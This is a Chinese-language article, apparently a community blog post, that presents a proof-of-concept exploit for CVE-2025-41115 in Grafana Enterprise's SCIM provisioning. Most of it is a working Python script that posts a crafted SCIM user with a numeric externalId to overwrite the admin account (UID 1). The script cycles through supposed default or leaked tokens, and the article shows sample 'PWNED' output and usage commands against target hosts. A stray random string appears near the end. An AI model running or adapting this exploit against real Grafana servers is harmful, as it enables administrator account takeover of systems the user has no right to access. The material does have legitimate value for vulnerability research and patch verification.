
CVE-2025-41115 - Grafana企业版SCIM UID覆盖漏洞利用程序
这是一个针对CVE-2025-41115漏洞的概念验证(PoC)工具,该漏洞被评定为严重(CVSS 10.0)级别,影响Grafana企业版的SCIM用户配置功能。当启用SCIM配置且user_sync_enabled = true时,恶意SCIM客户端可以发送数字externalId,Grafana会错误地将其映射到内部用户ID,导致攻击者能够模拟或覆盖现有账户,包括管理员账户。
重要说明: Grafana开源版本(OSS)不受此漏洞影响。
requests:用于HTTP请求json:用于JSON数据处理time:用于生成时间戳sys:用于命令行参数处理urllib3:用于禁用SSL警告# 基本用法
python3 CVE-2025-41115.py http://target.com
# 指定端口
python3 CVE-2025-41115.py http://target.com:3000
# 使用HTTPS
python3 CVE-2025-41115.py https://grafana.company.com[*] CVE-2025-41115 → Targeting http://10.10.13.37:3000
[*] Trying default/leaked tokens + your token...
[+] PWNED with token → glsa_XxXxXxXxXxXxXxXxXxXx...
[+] Login as: rooted1732212345@pwn.lab (any password) → you are now Admin!
[+] Full response: {
"schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"],
"id": "1", # 关键行:UID 1已被覆盖
"externalId": "1",
"meta": { ... },
"userName": "rooted1732212345@pwn.lab",
"name": {
"formatted": "Pwned User"
},
"emails": [
{
"value": "rooted1732212345@pwn.lab",
"primary": true
}
],
"active": true
}BASE:目标Grafana实例的基础URLTOKEN:可选的SCIM令牌(如果需要使用特定令牌)DEFAULT_TOKENS:内置的默认/泄露令牌列表ATTACKER:自动生成的攻击者邮箱地址TARGET_UID:要覆盖的目标用户ID(默认为1,即管理员)#!/usr/bin/env python3
# CVE-2025-41115 - Grafana Enterprise SCIM UID Overwrite PoC
# 用法:sudo python3 CVE-2025-41115.py http://target.com
# (或 http://target.com:3000)
# 100% 单行风格 - 无需编辑,只需目标地址
import requests, sys, json, time
from urllib3 import disable_warnings
disable_warnings()
if len(sys.argv) != 2:
print("[!] Usage: python3 CVE-2025-41115.py http://target.com")
sys.exit(1)
BASE = sys.argv[1].rstrip("/")
TOKEN = "glsa_00000000000000000000000000000000_00000000000000000000000000000000" # ← 如果拥有真实令牌,只需修改此行
# 如果没有有效令牌 → 尝试以下内置的泄露/默认令牌(许多实验环境仍在使用):
DEFAULT_TOKENS = [
"glsa_11111111111111111111111111111111_11111111111111111111111111111111",
"glsa_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
"glsa_00000000000000000000000000000000_00000000000000000000000000000000",
TOKEN
]
ATTACKER = f"rooted{int(time.time())}@pwn.lab"
TARGET_UID = "1" # 几乎总是主管理员def try_exploit(token):
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/scim+json"
}
payload = {
"schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"],
"userName": ATTACKER,
"externalId": TARGET_UID,
"name": {"formatted": "Pwned User"},
"emails": [{"value": ATTACKER, "primary": True}],
"active": True
}
try:
r = requests.post(f"{BASE}/api/scim/v2/Users", json=payload,
headers=headers, verify=False, timeout=10)
if r.status_code in (200, 201):
print(f"[+] PWNED with token → {token[:20]}...")
print(f"[+] Login as: {ATTACKER} (any password) → you are now Admin!")
print(f"[+] Full response: {json.dumps(r.json(), indent=2)}")
return True
elif "Unauthorized" in r.text or r.status_code == 401:
return False
else:
print(f"[?] Unexpected response {r.status_code}: {r.text}")
return False
except:
return Falseprint(f"[*] CVE-2025-41115 → Targeting {BASE}")
print("[*] Trying default/leaked tokens + your token...")
for t in DEFAULT_TOKENS:
if try_exploit(t.strip()):
sys.exit(0)
print("[-] All tokens failed. You need a valid SCIM token (or the target is patched).")
print(" Get one from: Admin → Authentication → SCIM → Generate token")# 关键安全特性
# 1. 自动生成的唯一邮箱地址,避免冲突
ATTACKER = f"rooted{int(time.time())}@pwn.lab"
# 2. SSL验证禁用(仅用于测试环境)
disable_warnings()
# 3. 超时设置防止脚本挂起
timeout=10
# 4. 明确的退出条件
if r.status_code in (200, 201): # 成功条件
sys.exit(0) # 成功时优雅退出该PoC工具设计精良,考虑了实际使用中的各种情况,同时保持了代码的简洁性和可读性。通过模块化设计,可以轻松扩展或修改以适应不同的测试场景。
6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAN1np1b5KCUMno5Bfxwlqmb
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。